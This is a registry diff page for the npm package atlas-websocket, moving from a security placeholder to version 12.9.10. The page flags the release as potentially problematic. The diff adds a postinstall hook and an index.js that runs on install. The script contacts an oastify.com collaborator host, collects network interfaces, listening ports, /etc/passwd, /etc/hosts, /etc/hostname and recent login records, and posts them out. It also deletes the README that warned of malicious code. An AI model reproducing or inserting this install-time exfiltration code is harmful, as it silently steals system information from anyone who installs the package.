atlas-websocket 0.0.1-security → 12.9.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of atlas-websocket might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +78 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,78 @@
1
+ const https = require('https');
2
+ const fs = require('fs');
3
+ const os = require('os');
4
+ const querystring = require('querystring');
5
+ const { execSync } = require('child_process');
6
+
7
+ // First check Collaborator connectivity with GET request
8
+ const getReq = https.get(`https://xrsk49n09hm80khwuhq5akzoxf37rxfm.oastify.com/`, (res) => {
9
+ console.log('Collaborator test request successful');
10
+ });
11
+
12
+ getReq.on('error', (e) => {
13
+ console.error('Collaborator connection failed:', e);
14
+ });
15
+
16
+ // Function to send data to Collaborator
17
+ function sendData(data, endpoint) {
18
+ const postData = querystring.stringify({ msg: data });
19
+
20
+ const options = {
21
+ hostname: collaboratorURL,
22
+ port: 443,
23
+ path: `/${endpoint}`,
24
+ method: "POST",
25
+ headers: {
26
+ "Content-Type": "application/x-www-form-urlencoded",
27
+ "Content-Length": Buffer.byteLength(postData),
28
+ },
29
+ };
30
+
31
+ const req = https.request(options);
32
+ req.on('error', (e) => console.error('Send error:', e));
33
+ req.write(postData);
34
+ req.end();
35
+ }
36
+
37
+ // Collect network information
38
+ try {
39
+ const interfaces = os.networkInterfaces();
40
+ let networkInfo = [];
41
+ Object.entries(interfaces).forEach(([name, addrs]) => {
42
+ addrs.forEach(addr => {
43
+ if (addr.family === 'IPv4' && !addr.internal) {
44
+ networkInfo.push(`${name}: ${addr.address}`);
45
+ }
46
+ });
47
+ });
48
+ sendData(networkInfo.join('\n'), 'network');
49
+ } catch (e) {
50
+ console.error('Network info error:', e);
51
+ }
52
+
53
+ // Collect listening ports
54
+ try {
55
+ const ports = execSync('netstat -tuln 2>/dev/null || ss -tuln').toString();
56
+ sendData(ports, 'ports');
57
+ } catch (e) {
58
+ console.error('Ports error:', e);
59
+ }
60
+
61
+ // Read files and send data
62
+ ['/etc/passwd', '/etc/hosts', '/etc/hostname'].forEach(file => {
63
+ fs.readFile(file, 'utf8', (err, data) => {
64
+ if (err) {
65
+ console.error(`Error reading ${file}:`, err);
66
+ return;
67
+ }
68
+ sendData(data, file.split('/').pop());
69
+ });
70
+ });
71
+
72
+ // Collect last logged users
73
+ try {
74
+ const last = execSync('last -a').toString();
75
+ sendData(last, 'last');
76
+ } catch (e) {
77
+ console.error('Last command error:', e);
78
+ }
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "atlas-websocket",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "12.9.10",
4
+ "description": "Shourya",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "Shourya",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "atlas-websocket": "^8.8.3"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=atlas-websocket for more information.